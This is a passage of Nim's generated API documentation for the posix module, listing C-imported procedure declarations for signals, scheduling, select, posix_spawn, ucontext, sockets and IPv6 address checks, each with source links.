[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L741) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L741) ``` proc sigismember(a1: var Sigset; a2: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L742) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L742) ``` proc signal(a1: cint; a2: Sighandler) {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L743) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L743) ``` proc sigpause(a1: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L745) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L745) ``` proc sigpending(a1: var Sigset): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L746) ``` proc sigprocmask(a1: cint; a2, a3: var Sigset): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L747) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L747) ``` proc sigqueue(a1: Pid; a2: cint; a3: SigVal): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L749) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L749) ``` proc sigrelse(a1: cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L751) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L751) ``` proc sigset(a1: int; a2: proc (x: cint) {...}{.noconv.}) {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L752) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L752) ``` proc sigsuspend(a1: var Sigset): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L754) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L754) ``` proc sigtimedwait(a1: var Sigset; a2: var SigInfo; a3: var Timespec): cint {...}{. importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L764) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L764) ``` proc sigwait(a1: var Sigset; a2: var cint): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L767) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L767) ``` proc sigwaitinfo(a1: var Sigset; a2: var SigInfo): cint {...}{.importc, header: "<signal.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L769) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L769) ``` proc catclose(a1: Nl_catd): cint {...}{.importc, header: "<nl_types.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L773) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L773) ``` proc catgets(a1: Nl_catd; a2, a3: cint; a4: cstring): cstring {...}{.importc, header: "<nl_types.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L774) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L774) ``` proc catopen(a1: cstring; a2: cint): Nl_catd {...}{.importc, header: "<nl_types.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L776) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L776) ``` proc sched_get_priority_max(a1: cint): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L779) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L779) ``` proc sched_get_priority_min(a1: cint): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L780) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L780) ``` proc sched_getparam(a1: Pid; a2: var Sched_param): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L781) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L781) ``` proc sched_getscheduler(a1: Pid): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L783) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L783) ``` proc sched_rr_get_interval(a1: Pid; a2: var Timespec): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L784) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L784) ``` proc sched_setparam(a1: Pid; a2: var Sched_param): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L786) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L786) ``` proc sched_setscheduler(a1: Pid; a2: cint; a3: var Sched_param): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L788) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L788) ``` proc sched_yield(): cint {...}{.importc, header: "<sched.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L790) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L790) ``` proc hstrerror(herrnum: cint): cstring {...}{.importc: "(char *)$1", header: "<netdb.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L792) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L792) ``` proc FD_CLR(a1: cint; a2: var TFdSet) {...}{.importc, header: "<sys/select.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L794) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L794) ``` proc FD_ISSET(a1: cint | SocketHandle; a2: var TFdSet): cint {...}{.importc, header: "<sys/select.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L795) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L795) ``` proc FD_SET(a1: cint | SocketHandle; a2: var TFdSet) {...}{.importc: "FD_SET", header: "<sys/select.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L797) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L797) ``` proc FD_ZERO(a1: var TFdSet) {...}{.importc, header: "<sys/select.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L799) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L799) ``` proc pselect(a1: cint; a2, a3, a4: ptr TFdSet; a5: ptr Timespec; a6: var Sigset): cint {...}{. importc, header: "<sys/select.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L801) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L801) ``` proc select(a1: cint | SocketHandle; a2, a3, a4: ptr TFdSet; a5: ptr Timeval): cint {...}{. importc, header: "<sys/select.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L803) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L803) ``` proc posix_spawn(a1: var Pid; a2: cstring; a3: var Tposix_spawn_file_actions; a4: var Tposix_spawnattr; a5, a6: cstringArray): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L807) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L807) ``` proc posix_spawn_file_actions_addclose(a1: var Tposix_spawn_file_actions; a2: cint): cint {...}{.importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L811) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L811) ``` proc posix_spawn_file_actions_adddup2(a1: var Tposix_spawn_file_actions; a2, a3: cint): cint {...}{.importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L813) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L813) ``` proc posix_spawn_file_actions_addopen(a1: var Tposix_spawn_file_actions; a2: cint; a3: cstring; a4: cint; a5: Mode): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L815) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L815) ``` proc posix_spawn_file_actions_destroy(a1: var Tposix_spawn_file_actions): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L818) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L818) ``` proc posix_spawn_file_actions_init(a1: var Tposix_spawn_file_actions): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L820) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L820) ``` proc posix_spawnattr_destroy(a1: var Tposix_spawnattr): cint {...}{.importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L822) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L822) ``` proc posix_spawnattr_getsigdefault(a1: var Tposix_spawnattr; a2: var Sigset): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L824) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L824) ``` proc posix_spawnattr_getflags(a1: var Tposix_spawnattr; a2: var cshort): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L826) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L826) ``` proc posix_spawnattr_getpgroup(a1: var Tposix_spawnattr; a2: var Pid): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L828) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L828) ``` proc posix_spawnattr_getschedparam(a1: var Tposix_spawnattr; a2: var Sched_param): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L830) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L830) ``` proc posix_spawnattr_getschedpolicy(a1: var Tposix_spawnattr; a2: var cint): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L832) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L832) ``` proc posix_spawnattr_getsigmask(a1: var Tposix_spawnattr; a2: var Sigset): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L834) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L834) ``` proc posix_spawnattr_init(a1: var Tposix_spawnattr): cint {...}{.importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L837) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L837) ``` proc posix_spawnattr_setsigdefault(a1: var Tposix_spawnattr; a2: var Sigset): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L839) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L839) ``` proc posix_spawnattr_setflags(a1: var Tposix_spawnattr; a2: cint): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L841) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L841) ``` proc posix_spawnattr_setpgroup(a1: var Tposix_spawnattr; a2: Pid): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L843) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L843) ``` proc posix_spawnattr_setschedparam(a1: var Tposix_spawnattr; a2: var Sched_param): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L846) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L846) ``` proc posix_spawnattr_setschedpolicy(a1: var Tposix_spawnattr; a2: cint): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L848) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L848) ``` proc posix_spawnattr_setsigmask(a1: var Tposix_spawnattr; a2: var Sigset): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L851) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L851) ``` proc posix_spawnp(a1: var Pid; a2: cstring; a3: var Tposix_spawn_file_actions; a4: var Tposix_spawnattr; a5, a6: cstringArray): cint {...}{. importc, header: "<spawn.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L853) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L853) ``` proc getcontext(a1: var Ucontext): cint {...}{.importc, header: "<ucontext.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L859) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L859) ``` proc makecontext(a1: var Ucontext; a4: proc () {...}{.noconv.}; a3: cint) {...}{.varargs, importc, header: "<ucontext.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L860) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L860) ``` proc setcontext(a1: var Ucontext): cint {...}{.importc, header: "<ucontext.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L862) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L862) ``` proc swapcontext(a1, a2: var Ucontext): cint {...}{.importc, header: "<ucontext.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L863) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L863) ``` proc readv(a1: cint; a2: ptr IOVec; a3: cint): int {...}{.importc, header: "<sys/uio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L865) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L865) ``` proc writev(a1: cint; a2: ptr IOVec; a3: cint): int {...}{.importc, header: "<sys/uio.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L867) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L867) ``` proc CMSG_DATA(cmsg: ptr Tcmsghdr): cstring {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L870) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L870) ``` proc CMSG_NXTHDR(mhdr: ptr Tmsghdr; cmsg: ptr Tcmsghdr): ptr Tcmsghdr {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L873) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L873) ``` proc CMSG_FIRSTHDR(mhdr: ptr Tmsghdr): ptr Tcmsghdr {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L876) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L876) ``` proc CMSG_SPACE(len: csize): csize {...}{.importc, header: "<sys/socket.h>", deprecated: "argument `len` should be of type `csize_t`".} ``` **Deprecated:** argument `len` should be of type `csize\_t` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L879) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L879) ``` proc CMSG_SPACE(len: csize_t): csize_t {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L882) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L882) ``` proc CMSG_LEN(len: csize): csize {...}{.importc, header: "<sys/socket.h>", deprecated: "argument `len` should be of type `csize_t`".} ``` **Deprecated:** argument `len` should be of type `csize\_t` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L885) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L885) ``` proc CMSG_LEN(len: csize_t): csize_t {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L888) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L888) ``` proc `==`(x, y: SocketHandle): bool {...}{.borrow.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L894) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L894) ``` proc accept(a1: SocketHandle; a2: ptr SockAddr; a3: ptr SockLen): SocketHandle {...}{. importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L896) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L896) ``` proc accept4(a1: SocketHandle; a2: ptr SockAddr; a3: ptr SockLen; flags: cint): SocketHandle {...}{. importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L900) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L900) ``` proc bindSocket(a1: SocketHandle; a2: ptr SockAddr; a3: SockLen): cint {...}{. importc: "bind", header: "<sys/socket.h>".} ``` is Posix's `bind`, because `bind` is a reserved word [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L903) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L903) ``` proc connect(a1: SocketHandle; a2: ptr SockAddr; a3: SockLen): cint {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L907) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L907) ``` proc getpeername(a1: SocketHandle; a2: ptr SockAddr; a3: ptr SockLen): cint {...}{. importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L909) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L909) ``` proc getsockname(a1: SocketHandle; a2: ptr SockAddr; a3: ptr SockLen): cint {...}{. importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L911) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L911) ``` proc getsockopt(a1: SocketHandle; a2, a3: cint; a4: pointer; a5: ptr SockLen): cint {...}{. importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L914) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L914) ``` proc listen(a1: SocketHandle; a2: cint): cint {...}{.importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L917) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L917) ``` proc recv(a1: SocketHandle; a2: pointer; a3: int; a4: cint): int {...}{.importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L919) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L919) ``` proc recvfrom(a1: SocketHandle; a2: pointer; a3: int; a4: cint; a5: ptr SockAddr; a6: ptr SockLen): int {...}{.importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L921) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L921) ``` proc recvmsg(a1: SocketHandle; a2: ptr Tmsghdr; a3: cint): int {...}{.importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L924) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L924) ``` proc send(a1: SocketHandle; a2: pointer; a3: int; a4: cint): int {...}{.importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L926) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L926) ``` proc sendmsg(a1: SocketHandle; a2: ptr Tmsghdr; a3: cint): int {...}{.importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L928) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L928) ``` proc sendto(a1: SocketHandle; a2: pointer; a3: int; a4: cint; a5: ptr SockAddr; a6: SockLen): int {...}{.importc, header: "<sys/socket.h>", sideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L930) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L930) ``` proc setsockopt(a1: SocketHandle; a2, a3: cint; a4: pointer; a5: SockLen): cint {...}{. importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L933) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L933) ``` proc shutdown(a1: SocketHandle; a2: cint): cint {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L935) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L935) ``` proc socket(a1, a2, a3: cint): SocketHandle {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L937) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L937) ``` proc sockatmark(a1: cint): cint {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L939) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L939) ``` proc socketpair(a1, a2, a3: cint; a4: var array[0 .. 1, cint]): cint {...}{.importc, header: "<sys/socket.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L941) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L941) ``` proc if_nametoindex(a1: cstring): cint {...}{.importc, header: "<net/if.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L944) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L944) ``` proc if_indextoname(a1: cint; a2: cstring): cstring {...}{.importc, header: "<net/if.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L945) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L945) ``` proc if_nameindex(): ptr Tif_nameindex {...}{.importc, header: "<net/if.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L947) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L947) ``` proc if_freenameindex(a1: ptr Tif_nameindex) {...}{.importc, header: "<net/if.h>".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L948) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L948) ``` proc IN6_IS_ADDR_UNSPECIFIED(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Unspecified address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L950) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L950) ``` proc IN6_IS_ADDR_LOOPBACK(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Loopback address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L953) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L953) ``` proc IN6_IS_ADDR_MULTICAST(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Multicast address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L956) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L956) ``` proc IN6_IS_ADDR_LINKLOCAL(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Unicast link-local address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L959) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L959) ``` proc IN6_IS_ADDR_SITELOCAL(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Unicast site-local address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L962) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L962) ``` proc IN6_IS_ADDR_V4MAPPED(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` IPv4 mapped address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L970) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L970) ``` proc IN6_IS_ADDR_V4COMPAT(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` IPv4-compatible address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L974) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L974) ``` proc IN6_IS_ADDR_MC_NODELOCAL(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Multicast node-local address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L977) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L977) ``` proc IN6_IS_ADDR_MC_LINKLOCAL(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Multicast link-local address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L980) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L980) ``` proc IN6_IS_ADDR_MC_SITELOCAL(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Multicast site-local address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L983) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L983) ``` proc IN6_IS_ADDR_MC_ORGLOCAL(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Multicast organization-local address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/posix.nim#L986) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/posix.nim#L986) ``` proc IN6_IS_ADDR_MC_GLOBAL(a1: ptr In6Addr): cint {...}{.importc, header: "<netinet/in.h>".} ``` Multicast global address. 